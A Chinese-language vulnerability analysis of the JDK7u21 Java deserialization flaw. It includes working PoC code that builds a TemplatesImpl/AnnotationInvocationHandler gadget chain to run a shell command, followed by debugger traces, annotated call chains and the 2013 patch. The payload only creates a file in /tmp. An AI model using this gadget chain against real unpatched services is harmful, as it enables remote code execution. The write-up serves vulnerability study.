标题: JDK7u21反序列化漏洞 创建: 2020-06-08 17:06 更新: 链接: https://scz.617.cn/web/202006081706.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ Serializable接口详解 11) JDK7u21反序列化漏洞 11.1) JacksonExploit7u21.java 11.2) JDK7u21Exec.java 11.3) 复杂版调用关系 11.4) 简化版调用关系 11.5) 7u25-b03(2013-06-18)修补方案 ☆ 后记 ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 本篇提供简版PoC以便调试分析"JDK7u21反序列化漏洞",炒个超级冷饭。 以前不想细究这个洞,太老了。上周看"MySQL JDBC客户端反序列化漏洞",fnmsd提 到"JDK8u20反序列化漏洞"。看8u20时涉及到7u21,故有此篇。8u20将是续篇。 去年11月看CVE-2019-6980(Zimbra)时搜到fnmsd,觉得他在这个方向的技术水平挺好, 所以他提到的东西我相对都要重视一些。这是比较靠谱的经验,如果觉得谁的文章不 错,就提高TA的权值,反之则降权。fnmsd的个人主页是: https://blog.csdn.net/fnmsd 有兴趣者可以围观一下。一般看到真心分享且水平不错的个人主页,我喜欢在微博上 向大家推荐,从不推荐"纯秀型"个人及其主页。 基本没写文字分析,PoC中的注释和两组调用关系是给自己看的,以防调试分析完过 段时间就忘了,岂不白调。初次接触7u21者可以直接调试本篇提供的简版PoC,关键 点都在两组调用关系中给出。 最佳入手方式是,先把PoC跑通,然后打个断点: stop in java.lang.Runtime.exec(java.lang.String[]) 命中后查看调用栈回溯中的各层代码。基本框架搞清楚后,再根据两组调用关系调试 分析其他分支流程。调试分析的最终停止原则是,已能回答自己的每一个"为什么"。 ☆ Serializable接口详解 11) JDK7u21反序列化漏洞 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java https://gist.github.com/frohoff/24af7913611f8406eaf3 这个洞是2015.12.18由Chris Frohoff报告给Oracle的,能搞7u25-b03之前的版本, 不依赖第三方库。 11.1) JacksonExploit7u21.java 同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。区别 只是这次换个类名,用7u21编译,减少潜在麻烦。 -------------------------------------------------------------------------- /* * javac_7_21 -encoding GBK -g -XDignore.symbol.file JacksonExploit7u21.java */ import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * 必须是public,否则不能成功执行命令 */ public class JacksonExploit7u21 extends AbstractTranslet { /* * 必须是public */ public JacksonExploit7u21 () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } } /* * 必须重载这两个抽象方法,否则编译时报错 */ @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) { } @Override public void transform ( DOM document, SerializationHandler[] handler ) { } } -------------------------------------------------------------------------- 11.2) JDK7u21Exec.java -------------------------------------------------------------------------- /* * javac_7_21 -encoding GBK -g -XDignore.symbol.file JDK7u21Exec.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.lang.annotation.*; import java.nio.file.Files; import javax.xml.transform.Templates; import com.sun.org.apache.xalan.internal.xsltc.trax.*; public class JDK7u21Exec { private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); /* * 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory, * 会在TemplatesImpl.defineTransletClasses()中触发空指针引用。 */ // Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); // _tfactory.setAccessible( true ); // _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); /* * 下面这两个操作对7u21没必要 */ // Field _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" ); // _auxClasses.setAccessible( true ); // _auxClasses.set( ti, null ); // Field _class = TemplatesImpl.class.getDeclaredField( "_class" ); // _class.setAccessible( true ); // _class.set( ti, null ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { TemplatesImpl ti = getTemplatesImpl( evilclass ); /* * 不要直接在此 * * hm.put( "0DE2FF10", ti ) * * 否则后面的lhs.add( TemplatesProxy )会触发如下调用: * * HashSet.add * HashMap.put * $Proxy0.equals * AnnotationInvocationHandler.invoke * AnnotationInvocationHandler.equalsImpl * Method.invoke * TemplatesImpl.getOutputProperties * * 显然数据准备阶段不想看到这种效果 */ HashMap hm = new HashMap( 1 ); /* * AnnotationInvocationHandler不是public的,不能直接import */ Class clazz_AIH = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons_AIH = clazz_AIH.getDeclaredConstructor( Class.class, Map.class ); cons_AIH.setAccessible( true ); /* * 只要是Annotation的子接口,且是public的,就可以用于第一形参,比 * 如: * * java.lang.Override * java.lang.annotation.Documented * java.lang.annotation.Inherited * java.lang.annotation.Retention * java.lang.annotation.Target * * 用Override.class的好处在于它是"java.lang.*"中的,无需显式import */ InvocationHandler ih = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm ); /* * 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、 * newTransformer。由于getOutputProperties先出现,将来利用链上有它。 * 如果newTransformer先出现,利用链上不需要getOutputProperties。 */ Field f_type = clazz_AIH.getDeclaredField( "type" ); f_type.setAccessible( true ); /* * 将来会调用Templates.class.getDeclaredMethods() */ f_type.set( ih, Templates.class ); Templates TemplatesProxy = ( Templates )Proxy.newProxyInstance ( Templates.class.getClassLoader(), new Class[] { Templates.class }, ih ); LinkedHashSet lhs = new LinkedHashSet( 0 ); lhs.add( ti ); lhs.add( TemplatesProxy ); /* * 原来用的是"f5a5a608"。只要字符串哈希等于0即可。 */ hm.put( "0DE2FF10", ti ); return( lhs ); } /* end of getObject */ public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- java_7_21 JDK7u21Exec JacksonExploit7u21.class java_7_21 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ JDK7u21Exec JacksonExploit7u21.class jdb_7_21 -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in sun.reflect.annotation.AnnotationInvocationHandler.readObject [1] sun.reflect.annotation.AnnotationInvocationHandler.readObject (AnnotationInvocationHandler.java:331), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [6] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,004), pc = 20 [7] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,891), pc = 93 [8] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [9] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [10] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:1,989), pc = 150 [11] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,913), pc = 173 [12] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [13] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [14] java.io.ObjectInputStream.readObject (ObjectInputStream.java:370), pc = 19 [15] java.util.HashSet.readObject (HashSet.java:308), pc = 63 [16] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [17] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [18] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [19] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [20] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,004), pc = 20 [21] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,891), pc = 93 [22] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [23] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [24] java.io.ObjectInputStream.readObject (ObjectInputStream.java:370), pc = 19 [25] JDK7u21Exec.main (JDK7u21Exec.java:130), pc = 59 stop in java.lang.Runtime.exec(java.lang.String[]) [1] java.lang.Runtime.exec (Runtime.java:483), pc = 0 [2] JacksonExploit7u21. (JacksonExploit7u21.java:23), pc = 34 [3] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method) [4] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:57), pc = 72 [5] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5 [6] java.lang.reflect.Constructor.newInstance (Constructor.java:525), pc = 80 [7] java.lang.Class.newInstance0 (Class.java:374), pc = 118 [8] java.lang.Class.newInstance (Class.java:327), pc = 16 [9] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance (TemplatesImpl.java:380), pc = 29 [10] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer (TemplatesImpl.java:410), pc = 5 [11] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties (TemplatesImpl.java:431), pc = 1 [12] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [13] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [14] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [15] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [16] sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl (AnnotationInvocationHandler.java:197), pc = 108 [17] sun.reflect.annotation.AnnotationInvocationHandler.invoke (AnnotationInvocationHandler.java:59), pc = 43 [18] com.sun.proxy.$Proxy1.equals (null), pc = 16 [19] java.util.HashMap.put (HashMap.java:475), pc = 65 [20] java.util.HashSet.readObject (HashSet.java:309), pc = 77 [21] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [22] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:57), pc = 87 [23] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [24] java.lang.reflect.Method.invoke (Method.java:601), pc = 57 [25] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,004), pc = 20 [26] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,891), pc = 93 [27] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,796), pc = 184 [28] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,348), pc = 389 [29] java.io.ObjectInputStream.readObject (ObjectInputStream.java:370), pc = 19 [30] JDK7u21Exec.main (JDK7u21Exec.java:130), pc = 59 11.3) 复杂版调用关系 http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/HashSet.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/HashMap.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/java/util/LinkedHashMap.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u21-b11/src/share/classes/sun/reflect/annotation/AnnotationType.java -------------------------------------------------------------------------- ObjectInputStream.readObject // 7u21 HashSet.readObject capacity = s.readInt() // HashSet:297 // 返回2 loadFactor = s.readFloat() // HashSet:298 // 返回0.75 map = new LinkedHashMap(capacity, loadFactor) // HashSet:299 // this现在是LinkedHashSet实例 size = s.readInt() // HashSet:304 // 返回2 ObjectInputStream.readObject // HashSet:308 // e = (E) s.readObject() // 读ti // LinkedHashSet会维持插入顺序,HashSet则不会 HashMap.put // HashSet:309 // map.put(e, PRESENT); // put(ti) HashMap.hash // HashMap:471 // hash = hash(key) // key等于ti LinkedHashMap.addEntry // HashMap:484 // addEntry(hash, key, value, i) // key等于ti HashMap.addEntry // LinkedHashMap:427 LinkedHashMap.createEntry // HashMap:856 // createEntry(hash, key, value, bucketIndex) LinkedHashMap$Entry. // LinkedHashMap:442 // e = new Entry<>(hash, key, value, old) // e对应"ti=PRESENT" HashMap$Entry. // LinkedHashMap:325 // super(hash, key, value, next) value = v // HashMap:782 next = n // HashMap:783 key = k // HashMap:784 hash = h // HashMap:785 // hash等于hash(ti) // 此处的hash并不经HashMap$Entry.hashCode()的计算 // e.hash并不等于e.hashCode(),是两个概念,值也不一样 table[bucketIndex] = e // LinkedHashMap:443 // e对应"ti=PRESENT" ObjectInputStream.readObject // HashSet:308 // 读TemplatesProxy AnnotationInvocationHandler.readObject AnnotationType.getInstance // AnnotationInvocationHandler:338 if (result == null) // AnnotationType:83 AnnotationType. // AnnotationType:84 if (!annotationClass.isAnnotation()) // AnnotationType:97 // 形参annotationClass等于Templates.class throw new IllegalArgumentException("Not an annotation type"); // AnnotationType:98 return // AnnotationInvocationHandler:341 // 前面那个"Not an annotation type"异常被catch,在此继续 // 正确做法应该继续抛异常,而不是return,7u25-b03的修补方案就是这么干的 HashMap.put // HashSet:309 // map.put(e, PRESENT); // put(TemplatesProxy) HashMap.hash // HashMap:471 // hash = hash(key) // key等于TemplatesProxy // 在这个上下文里hash(TemplatesProxy)等于hash(ti) // hash(key)不直接等于key.hashCode(),对后者还有一些数学变换 $Proxy1.hashCode // HashMap:351 // h ^= k.hashCode() // 计算TemplatesProxy的哈希相当于计算AnnotationInvocationHandler的哈希 // 在这个上下文里k.hashCode()等于ti.hashCode() AnnotationInvocationHandler.invoke AnnotationInvocationHandler.hashCodeImpl // AnnotationInvocationHandler:64 // return hashCodeImpl() // 在这个上下文里实际返回的是ti.hashCode() // 该函数内部对AnnotationInvocationHandler.memberValues的各循环求哈希 // 再用一种算法将它们揉到一起返回 HashMap.entrySet // AnnotationInvocationHandler:294 // for (Map.Entry e : memberValues.entrySet()) // memberValues即hm // 返回"0DE2FF10=TemplatesImpl" HashMap$Entry.getKey // AnnotationInvocationHandler:295 // 返回字符串"0DE2FF10" String.hashCode // AnnotationInvocationHandler:295 // 计算"0DE2FF10"的哈希,返回0 HashMap$Entry.getValue // AnnotationInvocationHandler:295 // 返回ti AnnotationInvocationHandler.memberValueHashCode // AnnotationInvocationHandler:295 // result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()) return value.hashCode() // AnnotationInvocationHandler:308 // value等于ti,这个hashCode()是native方法,就是Object.hashCode() // 返回ti.hashCode() HashMap.indexFor // HashMap:472 // i = indexFor(hash, table.length) // 此处hash即hash(TemplatesProxy) // table.length等于2,一个对应"ti=PRESENT",另一个等于null,位置不固定 // 两次从此经过,每次形参都相同,返回值也相同 for (Entry e = table[i]; e != null; e = e.next) // HashMap:473 // table[i]或e对应"ti=PRESENT" // 两次经过此处,要求i值相同 $Proxy1.equals // HashMap:475 // if (e.hash == hash && ((k = e.key) == key || key.equals(k))) // e对应"ti=PRESENT" // e.hash即hash(ti),hash即hash(TemplatesProxy) // e.key或k对应ti,key对应TemplatesProxy AnnotationInvocationHandler.invoke AnnotationInvocationHandler.equalsImpl // AnnotationInvocationHandler:59 // return equalsImpl(args[0]); // args[0]等于ti // 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法 AnnotationInvocationHandler.getMemberMethods // AnnotationInvocationHandler:188 Class.getDeclaredMethods // AnnotationInvocationHandler:279 // Method[] mm = type.getDeclaredMethods() // type对应"Templates.class",PoC中通过反射设置过type // 返回两个方法 // 第一个是Templates.getOutputProperties() // 第二个是Templates.newTransformer() Method.invoke // AnnotationInvocationHandler:197 // hisValue = memberMethod.invoke(o) // memberMethod对应TemplatesImpl.getOutputProperties() // o等于ti TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer // TemplatesImpl:431 // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出 TemplatesImpl.getTransletInstance // TemplatesImpl:410 if (this._name == null) // TemplatesImpl:374 return null // 如果this._name等于null,在此直接返回,没有机会初始化恶意class实例 // 为了攻击成功,必须设法让this._name不等于null,可以为空串 TemplatesImpl.defineTransletClasses // TemplatesImpl:376 this._class[i] = loader.defineClass(this._bytecodes[i]) // TemplatesImpl:339 // 在此将this._bytecodes转换成this._class[],即加载类 if (superClass.getName().equals(ABSTRACT_TRANSLET)) // TemplatesImpl:343 // 加载_bytecodes成功后,检查其父类是否是AbstractTranslet // 必须满足该条件,否则在恶意构造函数被执行之前就抛异常 Class.newInstance // TemplatesImpl:380 // (AbstractTranslet)this._class[this._transletIndex].newInstance() JacksonExploit7u21. Runtime.exec -------------------------------------------------------------------------- 11.4) 简化版调用关系 -------------------------------------------------------------------------- ObjectInputStream.readObject // 7u21 HashSet.readObject ObjectInputStream.readObject // HashSet:308 // 读ti // LinkedHashSet会维持插入顺序,HashSet则不会 HashMap.put // HashSet:309 ObjectInputStream.readObject // HashSet:308 // 读TemplatesProxy HashMap.put // HashSet:309 HashMap.hash // HashMap:471 // hash = hash(key) // 在这个上下文里hash(TemplatesProxy)等于hash(ti) // hash(key)不直接等于key.hashCode(),对后者还有一些数学变换 HashMap.indexFor // HashMap:472 // 两次从此经过,每次形参都相同,返回值也相同 for (Entry e = table[i]; e != null; e = e.next) // HashMap:473 // table[i]或e对应"ti=PRESENT" // 两次经过此处,要求i值相同 $Proxy1.equals // HashMap:475 // if (e.hash == hash && ((k = e.key) == key || key.equals(k))) AnnotationInvocationHandler.invoke AnnotationInvocationHandler.equalsImpl // AnnotationInvocationHandler:59 // 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法 AnnotationInvocationHandler.getMemberMethods // AnnotationInvocationHandler:188 Class.getDeclaredMethods // AnnotationInvocationHandler:279 // 返回两个方法 // 第一个是Templates.getOutputProperties() // 第二个是Templates.newTransformer() Method.invoke // AnnotationInvocationHandler:197 TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer // TemplatesImpl:431 // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出 -------------------------------------------------------------------------- 11.5) 7u25-b03(2013-06-18)修补方案 参 http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u25-b03/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java -------------------------------------------------------------------------- /* * sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void */ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out /* * 341行,过去此处是return,从7u25-b03开始,此处接着抛异常 */ throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } ... } -------------------------------------------------------------------------- 7u25-b01、7u25-b02尚未如此修补,341行处仍在return。有些文章说修补方案是检 查了AnnotationInvocationHandler.type,估计他们是根据抛出的异常这么说的。事 实上对AnnotationInvocationHandler.type的检查一直存在,要求type与 java.lang.annotation.Annotation有派生、继承、实现关系,但7u25-b03之前发现 问题后抛出的异常被341行的catch捕捉之后没有继续抛异常,而是return了。 ☆ 后记 留一个趣味求解。在Java反序列化漏洞领域,字符串"f5a5a608"已经人尽皆知,现在 求解另一个字符串,其哈希亦为零,约束条件,在[a-z0-9]范围内的8字符串。注意 约束条件,长度大于8的、所用字符不在[a-z0-9]范围内的,都不符合要求。 4月份我在微博上出了这道题,ID为香依香偎、crackme00的两位分别给了一些正确答 案。答案不唯一,答案本身不重要,只是给那些"永远充满好奇心的人们"出个趣味题, 比如练练手,挑战一下求解代码的性能优化、提升,没有其他意义。 ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git